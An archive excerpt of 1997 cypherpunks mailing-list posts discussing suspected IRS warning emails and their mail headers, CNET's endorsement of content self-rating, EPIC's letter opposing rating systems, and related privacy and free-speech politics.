"retiring" before Clinton/Gore are out of power?)

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 24 Jul 1997 05:02:24 +0800
To: Jeff Barber <jeffb@issl.atl.hp.com>
Subject: Re: Fight-each-other
In-Reply-To: <97Jul22.220455edt.32257@brickwall.ceddec.com>
Message-ID: <v03007809affc1e98832d@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:06 -0400 7/23/97, Jeff Barber wrote:

>An implicit threat to use government to regulate the industry.
>
>I could do the same thing with the Progress and Freedom Foundation
>or the National Empowerment TV group you mentioned, but what's the
>point?  These people are not libertarians!  And grouping them into
>something called the "leave-us-alone" coalition is a fraud.

PFF would like to be more libertarian than conservative, though they've
been quieter recently after many of their staff members left. I'm thinking
of going to their Aspen conference next month, but I hear that it's been
going downhill.

I've been on National Empowerment TV a few times, and they're hardcore
conservatives, not libertarians. The Family Research Council's Cathy
Cleaver has her own show on there where she rants about how we need more
government censorship of the Net.

-Declan


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 24 Jul 1997 08:20:53 +0800
To: frissell@panix.com
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <19970723010939.51681@bywater.songbird.com>
Message-ID: <3.0.2.32.19970723170719.0077610c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:29 PM 7/23/97 -0400, frissell@panix.com wrote:
>Additionally, we don't actually know whether or not Tim has committed any 
>criminal acts.  We just know he's not dumb enough to mention any such to 
>others.

Sure we do.  I've seen Tim use Bad Language on this list
between the time the CDA was passed and the time it was
booted out.  He's a felon, and he admits it.
He's also committed less specific crimes such as
claiming to own scary weapons, and calling for 
"Death to Tyrants", which is clearly a threat to 
most of Washington and some chunk of Sacramento.
He nearly had his Ontologist's License yanked a year or so ago...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Thu, 24 Jul 1997 08:14:27 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Free Money
In-Reply-To: <aTiBae7w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970723170834.32339B-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 23 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> Date: Wed, 23 Jul 97 19:23:09 EDT
> From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> 
> Tim May <tcmay@got.net> writes:
> >
> > This again shows the importance of _technological_ solutions to privacy and
> > secrecy concerns over _custom_ or _law_ solutions.
> 
> Don't ever rely on the gubmint (or anyone else) to obey its own laws.

"Never trust a women or a government." - Yellowbeard

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 24 Jul 1997 06:13:05 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: House Tries to Liberate ICs
In-Reply-To: <3.0.2.32.19970721142051.006c6e60@panix.com>
Message-ID: <3.0.2.32.19970723174238.03df3150@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 10:00 AM 7/23/97 -0700, Bill Stewart wrote:

>A much more serious omission is that "longstanding" dates from about
>10 years ago, when NJ Senator Frank Lautenberg, who made his money 
>running ADP, a computer consulting company that rents out its employees
>to businesses, got the law changed to force his competition to 
>use employees rather than independent contractors, which was common.

The infamous Section 1706 of the Tax Reform Act of 1986.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Thu, 24 Jul 1997 00:08:00 +0800
To: cypherpunks@toad.com
Subject: custom and privacy
Message-ID: <199707231551.RAA23196@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



A million monkeys operating under the pseudonym "T.C. May" typed:

> I of course remember _lots_ of things about people, I share those memories
> on occasion (without requesting permission), I mention names, and I
> certainly don't recall every giving one of the subjects of my memories a
> cut of the action.
> 
> In a free society, it is not possible or acceptable to control what others
> remember or gossip about. Or even sell commercially.


The infinitive "to control" here confuses force with contract, 
coercion with civil pressure, and law with custom.


I believe Bill Frantz's original article made the distinction,
and I believe it stated that his thoughts were in the context 
of the latter.  Unfortunately cypherpunks sometimes seem unable
to preserve such contexts in follow-up articles.


In a free society, such as the one that I enjoy with my 
colleagues, friends, compatriots, acquaintances, enemies and 
perfect strangers on the Net, it is indeed possible and 
acceptable to exert individual and collective social pressure 
to influence the use and dissemination of information.  
I could, but won't, give many examples of people requesting 
that maintain certain privacy bits attached to information they
gave me, and people graciously respecting the privacy bits that 
I transmitted along with my information.  Sometimes these 
people were friends or acquaintances of mine, other times they
were perfect strangers who acted out of professional self-
interest, reputation-preservation, casual generosity, and/or--
as per Bill Frantz's article-- familiarity with and respect for
custom.


I applaud Bill Frantz's effort to direct the minds of 
cypherpunks towards a topic which is valuable and relevant, but
which is not reducible to the convenient mental shortcut of 
"government BAD, not-government GOOD".


Zooko, Journeyman





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 24 Jul 1997 06:09:26 +0800
To: Mike Duvos <cypherpunks@cyberpass.net
Subject: Re: Free Money
In-Reply-To: <19970723184547.28534.qmail@zipcon.net>
Message-ID: <3.0.2.32.19970723175833.03dbfca8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:45 AM 7/23/97 -0700, Mike Duvos wrote:
>In response to outside pressure, Swiss bankers have abandoned their
>traditional secrecy laws and published a list of all dormant bank accounts opened
------------------------------------------------------^^^^^^^
>by non-Swiss citizens prior to May 9th, 1945, the end of World War II.

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Tu <ATU5713@compuserve.com>
Date: Thu, 24 Jul 1997 06:30:42 +0800
To: Cypher Punks Mailing List <cypherpunks@toad.com>
Subject: Where Can I Get the Latest Version of Nautilus?
Message-ID: <199707231801_MC2-1B71-346E@compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi all,

Is there an FTP site where I can get the latest version of Nautilus?  The
latest version I've got is 0.92.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 24 Jul 1997 09:42:25 +0800
To: chris_barr@cnet.com
Subject: Rating online content can work
Message-ID: <33D6B0D0.19D1@netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Since the Supreme Court said the online world should be as free as
print, and no self-labeling system exists for magazines or newspapers,
why should the Net be any different?  I don't believe that a self-rating
system is either practical or desirable.  Enactment of any laws to put
teeth into Internet self-ratings will almost certainly run afoul of
Constitutional challenges, and without such laws compliance and thus
widespread acceptance is unlikely.

Quite full of youself, aren't you Mr. Barr?  I have no doubt that the
definition of what qualifies as a bona fide news organization is in the
eye of the beholder.  I certainly would not class CNET with any of the
major US newspapers, magazines nor the WSJ.  Be careful where you tread,
lest CNET and other Internet Content Coalition members be judged as
relatively no more than garage-shop operations unworthy of the
protections you so clearly covet.


--Steve

PGP mail preferred, see  http://web.mit.edu/network/pgp.html
RSA PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      | 
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 24 Jul 1997 08:07:06 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <Pine.LNX.3.91.970719190732.1788B-100000@fatmans.demon.co.uk>
Message-ID: <Pine.BSF.3.91.970723183842.10131C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Sat, 19 Jul 1997, Paul Bradley wrote:

> 
> > It certainly appears that the IRS has sent "warnings" out to all of us
> > active in the debate. It appears they used the addresses found in e-mail at
> > Bell's residence, from some of the comments here (especially that other
> > lists besides the Cypherpunks list were involved).
> 
> 
> Does anyone here who didn`t recieve a copy of the mail recall if they 
> ever mailed Jim directly, and not through the list?
> 

I've sent mail directly to Jim, and I didn't get any mail from the IRS.

Could have several causes;

a. I did get one, but procmail thought it was stego'd ascii art from 
Dimitri Vulis.

b. The IRS doesn't want to upset a generous donor (I'm still waiting for 
my free tote bag).

c. Jim had killfiled me for being a diseased marsupial.

d. The C4 recipe had some flaws.  ;)

Anyway, I sent Jim mail a few times, but no email from the IRS (that I 
found, anyway).

-r.w.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 24 Jul 1997 08:03:40 +0800
To: cypherpunks@toad.com
Subject: Re: Free Money
In-Reply-To: <v03102805affc0820bae3@[207.167.93.63]>
Message-ID: <aTiBae7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
>
> This again shows the importance of _technological_ solutions to privacy and
> secrecy concerns over _custom_ or _law_ solutions.

Don't ever rely on the gubmint (or anyone else) to obey its own laws.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 24 Jul 1997 07:37:49 +0800
To: Kent Crispin <cypherpunks@Algebra.COM
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <199707230546.HAA20775@basement.replay.com>
Message-ID: <3.0.2.32.19970723192925.03d17ac0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:09 AM 7/23/97 -0700, Kent Crispin wrote:
>Actually, nothing whatsoever separates Tim from sheeple.  
>
>As anon clearly points out, Tim toes the line with his speech,
>carefully avoiding saying anything that escapes constitutional
>protection.  In fact he frequently sprinkles his posts with comments
>pointing out that some outrageous thing he just said is
>constitutionally protected. 

Some of the people killed, busted, sued, or harassed by the government for 
constitutionally protected speech in the last 50 years:
(in no particular order)

Wilhelm Reich (Died in Federal Prison)
Jake Baker
Christopher Lowe (Financial Newsletters) (LOWE v. SEC, 472 U.S. 181 (1985))
Paul Robert Cohen ("Fuck the Draft" button) (COHEN v. CALIFORNIA, 403 U.S. 15 
(1971))
Al Holmquist (Ordered silenced by Wisconsin Employment Relations Commission) 
(MADISON SCH. DIST. v. WISCONSIN EMP. REL. COMM'N, 429 U.S. 167 (1976))
Junius Irving Scales (Smith Act Commie)(SCALES v. UNITED STATES, 367 U.S. 203 
(1961)) 

There are thousands more.  Making constitutionally protected statements can 
get you loads of trouble.

Additionally, we don't actually know whether or not Tim has committed any 
criminal acts.  We just know he's not dumb enough to mention any such to 
others.

DCF



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 24 Jul 1997 07:43:18 +0800
To: cypherpunks@cyberpass.net
Subject: The FBI in Peace and War
Message-ID: <3.0.2.32.19970723193744.03c0e45c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

The boys (and girls) of TRAC do it again:

Date: Wed, 23 Jul 1997 10:18:35 -0400 (EDT)
From: TRAC <trac@MailBox.Syr.Edu>
To: frissell@panix.com
Subject: New TRAC FBI Web Site

	Apologies if this is a repeat message.

	The most comprehensive portrait of how the FBI
enforces America's laws is now available at a new TRAC
site on the World Wide Web. For immediate release. 
Check it out at   http://trac.syr.edu/tracfbi/
	
	Except when the FBI is leaking selected tidbits
about the big case of the day,  the bureau has for many
years been the most secretive of the federal enforcement
agencies.  To a surprising extent -- given all the
headlines -- reporters know very little about the
operations of the federal government's most important
investigative agency.

	What does the FBI do, and not do?  How well does it
do it?  Where does the FBI train its enforcement fire? 
Which sections of the nation have the most FBI
employees?  Maps, charts, graphs, tables, and brief
explaining texts. Drawn from internal administrative
data of the Justice Department, the FBI, and many other
sources.

	In very brief summary, here what's available.

	First,  FY 1992-1996 data on FBI enforcement
actions -- district by district -- for each of the
nation's 90 federal judicial districts.  Referrals,
prosecutions, convictions, median sentences, etc.  Both
actual numbers and appropriate rates.  On a per capita
basis, which districts have the most FBI convictions? 
How does your district compare with other similar ones
and for the nation as whole?  The median FBI sentence in
Maryland (Baltimore)  is eight times longer than Northern
California (San Francisco).  

	How does the FBI compare with the DEA, IRS, ATF and
INS in terms of referrals declined because they were
legally insufficient?  According to the judgements of
assistant U.S.  Attorneys all over the country, not very
well. 

	Second, the FBI has long kept the number of
employees working in different parts of the country
secret.  But here are 1994 FBI staffing levels in each
of the bureau's 55 districts.  Actual numbers and per
capita rates.  The FBI district with its headquarters in
Salt Lake City has more employees per capita than
Detroit and Boston.

	Third, long term enforcement and staffing trends. 
Key changes in what laws the FBI has enforced from 1974
to 1996.  FBI (or the predecessor agency) national
staffing levels from 1908 on -- big spikes during World
War Two, the Korean War, the Vietnam War and President
Reagan's years.

	Fourth.  Ever wondered whether your area might have
a greater potential for white collar crime than other
areas.  Examine that question by comparing the number of
banks, executives, doctors, and other indicators  in
your county with all the others.  Although you can't
count white collar crime, you can count white collars.    

	Again, for immediate release at   http:
trac.syr.edu/tracfbi/

- -- David Burnham and Sue Long


	------------------------------------------------------
 TRAC is a non-partisan data gathering, research and
data distribution organization associated with
Syracuse University.

TRAC has offices in Syracuse at: Syracuse University,
488 Newhouse II, Syracuse, NY 13244-2100 (315-443-
3563) and in Washington at: Suite 301, 666
Pennsylvania Avenue, SE 20003-4319 (202-544-8722)


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 24 Jul 1997 07:58:16 +0800
To: cypherpunks@toad.com
Subject: Re: DEATH TO THE TYRANTS
Message-ID: <1.5.4.32.19970723233941.006d1374@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>By the way, I don't recall it being mentioned that [my] message from "IRS
>Inspection" had an interesting subject line: DEATH TO TYRANTS.


The six other headers received or forwarded here have the same subject: 
"Something of Interest."

Further, Tim's message is so far the earliest of the batch: 12:18 compared to 
the next at 12:25 which went to a mail list based in Norway. Others followed 
at about 1 minute intervals, the last at 12:33.

See the full headers at:

   http://jya.com/irs-header.txt

BTW, Declan, did you not once write that IRS offices are down the corridor
from yours? If so, would you care to ask the thieves their opinion of the spam,
especially if they are the authors, sneaking into your box and lifting lists
while 
you're sipping and baseballing with the brokers?

Cite me as inquring an CU-FU, if you prefer to keep reportorial distance. Write
up spam story, do, providing that you're up to snuff paying Crispin-bandit 
extortion.

----------

This is a resend of a message sent at 06:53 AM this morning, which
did not make it through, at least not to me.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 24 Jul 1997 08:11:25 +0800
To: cypherpunks@toad.com
Subject: CNET editor endorses self-labeling, "news site" standard
Message-ID: <v0300780eaffc497496bf@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Since the Supreme Court said the online world should be
as free as print, and no self-labeling system exists
for magazines or newspapers, why should the Net be any
different? Why isn't the Net community opposing
"mandatory voluntary" self-labeling systems as
staunchly as newspapers and magazines would fight a
similar requirement? It's best to ask these questions
of Christopher Barr (chris_barr@cnet.com), editor in
chief of CNET, who endorsed such a proposal in his
column below.

Barr says that he wants to ensure "that
only real news organizations claim [the] privilege"
of rating as news sites with RSACnews. But who decides
what's a news site? Is CNET? pathfinder.com? epic.org,
which the government treats as a news site when responding
to FOIA requests? The Drudge Report? How about the NAMBLA
News Journal?

My report on the possible perils of such systems is at:

  http://pathfinder.com/netly/opinion/0,1042,1173,00.html

-Declan

****************

http://www.cnet.com/Content/Voices/Barr/072197/index.html

rating online content can work (7/21/97)

With the Communications Decency Act vanquished once
and for all, it's time to explore alternatives for
protecting our youth from inappropriate online
content. As an independent content provider, CNET's
position has always been to give the power to the
reader (or the reader's parents) and not the
government, to decide which sites have acceptable
content. And now, President Clinton has been forced to
come around to our way of thinking. After initially
supporting the CDA, Clinton is recommending that sites
rate themselves and that parents use filtering
software to set limits for their children.

Self rating systems allow sites to attach labels to
themselves to indicate what kind of content the sites
contain. The labels are interpreted via the Platform
for Internet Content Selection (PICS) technology
endorsed by the World Wide Web Consortium standards
body. The PICS technology allows any group, such as
the PTA or a church, to set content standards that can
then be adopted by individual Web sites. There are
already several rating services such as the
Recreational Software Advisory Council on the Internet
(RSACi), Safe For Kids, and SafeSurf. Early on, CNET
supported the RSACi rating system and chose to rate
both CNET.COM and NEWS.COM.

Controlling content takes two things: content-ratings
and filtering-software. A number of software programs,
including Cyber Patrol, Cyber Sentry, Internet
Explorer, and SurfWatch, already support PICS and can
read the rating labels. Such software blocks out any
sites that don't correspond to the ratings you've
selected. For instance, if your rating system says
that images with partial nudity are inappropriate, the
software won't load those pages.

To be sure, filtering- or blocking-software is not
without limitations. A number of groups, including the
American Civil Liberties Union and the Electronic
Privacy Information Center, support the use of such
software on principle, but they also point out that
filtering software can be used to block any kind of
content, not just sexually explicit material, and so
it can end up restricting free speech. These groups
are also fearful that a foreign government could use
filtering software to control what content its
citizens can access. These are just a few of the
thorny issues that the technology introduces.    
Nevertheless, we at CNET feel that content ratings are
the best alternative, and we'll continue to rate
ourselves using the RSACi guidelines. But we also feel
that different rating systems are necessary to cover
different types of sites. For example, sites that
carry news stories cannot be accurately rated under
the RSACi standards. These were created to allow
parents to block sites with nudity, sex, violence, and
offensive language. But what happens when you visit a
news site that publishes pictures from a war zone
depicting death and destruction? Or a legitimate news
story about an online scam involving pornography
sites? Microsoft faces this dilemma: its Internet
Explorer supports PICS but several of the rating
systems unintentionally block access to its news site,
MSNBC.

Because of situations like these, we feel that bona
fide news sites should be subject to different
criteria. To that end, CNET is also a founding member
of the Internet Content Coalition, which seeks to
establish ratings for news sites and to make sure that
only real news organizations claim this privilege.
Users can then choose to allow access to news while
selecting another rating system like RSACi that
prohibits access to other kinds of sites. We intend to
use the Internet Content Coalition's guidelines to
rate NEWS.COM, while other of our sites, such as
GAMECENTER.COM, will be rated using more restrictive
systems.  

The success of any self-rating and filtering system
depends on how well it works and how it's accepted and
used. What's your opinion? Do you use filtering
software? Should news sites have a separate rating?
Email me and I'll put the responses in my next column.

Christopher Barr is editor in chief of CNET.

###






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Thu, 24 Jul 1997 02:38:21 +0800
To: cypherpunks@toad.com
Subject: Brit Fascists To Track Motorists
Message-ID: <199707231815.UAA09529@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




  Well, I see on the news that the British Government are installing cameras
with OCR capabilities throughout London so that they can track all the
cars which pass by. Of course this is only to track 'terrorists and car
thieves', not ordinary law-abiding citizens, no, no, no, not at all, guvnor,
so that's all right. And don't worry about all those reports that the British
Police Force is full of corrupt officers who the superiors can't fire.
  I wonder why no-one in the media has pointed out that terrorists and car
thieves, being, after all, criminals, will have no qualms about strapping
on false plates. Oh, but I guess it will catch 'stupid' terrorists and
criminals, so that's all right after all.

  Odd that this was announced the same day as other annoucements of the 
British Government joining an EU-wide system to track millions of European
subversives (including, apparently, those who have been to rock concerts?). I 
bet it's just one of them coincidences...

SpyMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 24 Jul 1997 12:37:30 +0800
To: jya@pipeline.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <1.5.4.32.19970723233941.006d1374@pop.pipeline.com>
Message-ID: <v03102800affc86bdca7e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:31 PM -0700 7/23/97, Declan McCullagh wrote:
>It's actually the Secret Service offices that are upstairs from the Time
>bureau, on the top floor of the building. Perhaps because we're close
>enough to see the White House? Dunno. The only time I went up there was
>when they were selling Xmas tree ornaments.
>
>I have a call into the IRS about this mail, BTW. So far nobody has (or
>admits to having) any idea what I'm talking about.
>

I'm not a reporter, but it seems to me that a major first step in writing
such a story would be to find out who own the account from which the mail
was (allegedly) sent.

Namely, who is "irsnwpr@net.insp.irs.gov" and what does he or she think of
the "DEATH TO TYRANTS" subject header, sent to me (and maybe others). And
what was the reason this was sent to folks who are neither lawyers nor
reporters nor anyone else who typically receives Treasury Department press
releases?

 The headers in the first of the messages I received were:

Received: from you for tcmay
 with Cubic Circle's cucipop (v1.13 1996/12/26) Fri Jul 18 19:25:02 1997
X-From_: irsnwpr@net.insp.irs.gov Fri Jul 18 15:30:05 1997
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
[204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28395 for
<tcmay@got.net>; Fri, 18 Jul 1997 15:29:59 -0700
X-Real-To: <tcmay@got.net>
Received: by tcs_gateway1.treas.gov id AA19560
  (InterLock SMTP Gateway 3.0 for tcmay@got.net);
  Fri, 18 Jul 1997 18:36:21 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:36:21 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:36:21 -0400
Date: Thu, 17 Jul 1997 12:18:35 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171618.MAA02670@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: DEATH TO TYRANTS


I forwarded the header block a few days ago, and can furnish anyone with a
complete copy. Except for the "DEATH TO TYRANTS" subject, and some details
of the dates (as noted by John Young), it's the basic "Something of
Interest" message, which I also got a copy of.

In case there's interest in that, too, here's the header block for that one:

Received: from you for tcmay
 with Cubic Circle's cucipop (v1.13 1996/12/26) Fri Jul 18 19:25:08 1997
X-From_: irsnwpr@net.insp.irs.gov Fri Jul 18 15:39:43 1997
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
[204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28954 for
<tcmay@got.net>; Fri, 18 Jul 1997 15:39:39 -0700
X-Real-To: <tcmay@got.net>
Received: by tcs_gateway1.treas.gov id AA19652
  (InterLock SMTP Gateway 3.0 for tcmay@got.net);
  Fri, 18 Jul 1997 18:45:59 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:45:59 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:45:59 -0400
Date: Thu, 17 Jul 1997 12:28:11 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171628.MAA02724@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Thu, 24 Jul 1997 10:18:37 +0800
To: cypherpunks@toad.com
Subject: EPIC letter to CNET.COM and the Internet Community (fwd)
Message-ID: <Pine.LNX.3.95.970723215720.11839A-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 23 Jul 1997 21:30:26 -0400
From: Marc Rotenberg <rotenberg@epic.org>
To: fight-censorship@vorlon.mit.edu
Cc: chris_barr@cnet.com
Subject: EPIC letter to CNET.COM and the Internet Community



To Mr. Barr of CNET.COM and the Internet Community,

On July 21 Christopher Barr, editor in chief of CNET,
endorsed Internet rating schemes in a column
titled "Rating Online Content Can Work".
http://www.cnet.com/Content/Voices/Barr/072197/index.html

In this column, Mr. Barr says

  A number of groups, including the
  American Civil Liberties Union and the Electronic
  Privacy Information Center, support the use of such
  software on principle, but they also point out that
  filtering software can be used to block any kind of
  content, not just sexually explicit material, and so
  it can end up restricting free speech.

I want to be clear that EPIC, both a plaintiff and counsel in
the challenge to the Communications Decency Act, does not support
the use of blocking software in principle or practice. We do not
support rating systems for the following reasons.

First, we believe that the fundamental purpose of a rating system
-- to allow one person to decide what information another person
may receive -- is contrary to the character of the Internet and
the principles of openness and individuality found in a free society.
Unlike search engines that allow individuals to select information
based on their preferences and desires, rating systems impose one
person's or one organization's viewpoint on another. Such techniques
could be used as easily by governments against citizens and employers
against employees as they could by parents against children, as was
made clear by one of the PICS creators in an early paper on the
topic.

Second, we have already seen rating systems used to block access to
information that could in no reasonable way be considered indecent.
Rating systems have blocked access to political organizations,
medical information, and unpopular viewpoints. In public libraries
and public schools such techniques violate well established First
Amendment freedoms. Such products should be roundly criticized by
Internet publishers, not endorsed.

Third, we believe that over time rating systes are likely to make it
easier -- not more difficult -- for governments around the world to
enforce content-based controls on Internet content. This process is
already underway in many countries which are now considering
PICS-based schemes to implement national content controls. Further,
our reading of the Supreme Court's opinion in Reno V. ACLU is that
content based controls would be upheld in the US once rating
systems and means for age verification and widely available. It
was the nature of the Internet, and not the availability of rating
systems, that produced the wonderful outcome in that case. But
once voluntary standards are in place, statutory controls will
surely follow.

We recognize that the availability of material that some might consider
offensive poses a difficult problem for on-line information providers.
We further recognize that there is indeed some material on the Internet
that is genuinely abhorrent.  But we do not believe you can hide
the world from your children. We should help our children to
understand the world, and then help them make it better. Good
parenting is not something found in a software filter; it takes
time, effort, and interest. And it takes trust in young people to
develop within themselves judgment and reason, and the ability to
tell right from wrong.

We also caution against any efforts to distinguish between bona fide
news organizations and others. The framers of our First Amendment
wisely drew no such distinction, and thus we have avoided the process
of licensing and government approval that othe countries have pursued.
News organizations that today seek to draw such a line may in the
future find themselves placed on the wrong side.

These are difficult issues. It is not easy today to criticize
the ratings proposal which has recently received White House
endorsement.  This fact alone should give those who value
free speech and who opposed the Communications Decency Act
reason to think twice. It is also the reason that we applaud the
American Library Association for its principled opposition to
the use of software filters in libraries.

We hope other organizations will join with EPIC, the ACLU, and
the ALA and recognize that we all  have a common interest in the
protection of intellectual freedom and the openness of the Internet.

We will continue to offer information about the PICS debate at our
web site -- www.epic.org -- so that individuals and organizations
that provide information online can make fully informed decisions
about the desireability of rating systems.

Finally, we hope CNET.COM will reconsider its position on the
rating issue. In the end, it will be the decisions of individual
Internet news organizations and other online publishers that will
determine the openness and accessibility of the Internet for us all.
We share a common interest in preserving the free flow of information
across the Internet.

Sincerely,

Marc Rotenberg, director
EPIC





==================================================================
Marc Rotenberg, director                *   +1 202 544 9240 (tel)
Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
Washington, DC 20003   USA              +   http://www.epic.org
==================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SL Baur <steve@xemacs.org>
Date: Thu, 24 Jul 1997 13:22:00 +0800
To: cypherpunks@Algebra.COM
Subject: gotcha (was Re: DEATH TO THE TYRANTS)
In-Reply-To: <1.5.4.32.19970723233941.006d1374@pop.pipeline.com>
Message-ID: <m2lo2xauzv.fsf_-_@altair.xemacs.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

> Namely, who is "irsnwpr@net.insp.irs.gov" and what does he or she think of
> the "DEATH TO TYRANTS" subject header, sent to me (and maybe others).
 ...
>  The headers in the first of the messages I received were:

> Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
> [204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28395 for
> <tcmay@got.net>; Fri, 18 Jul 1997 15:29:59 -0700
 ...
> Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
> [204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28954 for
> <tcmay@got.net>; Fri, 18 Jul 1997 15:39:39 -0700

If those headers are forged, it is an expert forgery.

The MX hosts for the net.insp.irs.gov domain are fun:
net.insp.irs.gov        preference = 10, mail exchanger = tcs-gateway2.treas.gov
net.insp.irs.gov        preference = 20, mail exchanger = tcs-gateway1.treas.gov
net.insp.irs.gov        preference = 30, mail exchanger = gotcha.treas.gov
irs.gov nameserver = gotcha.treas.gov
irs.gov nameserver = nis.ans.net
irs.gov nameserver = ns.ans.net
tcs-gateway2.treas.gov  internet address = 204.151.246.2
tcs-gateway1.treas.gov  internet address = 204.151.245.2
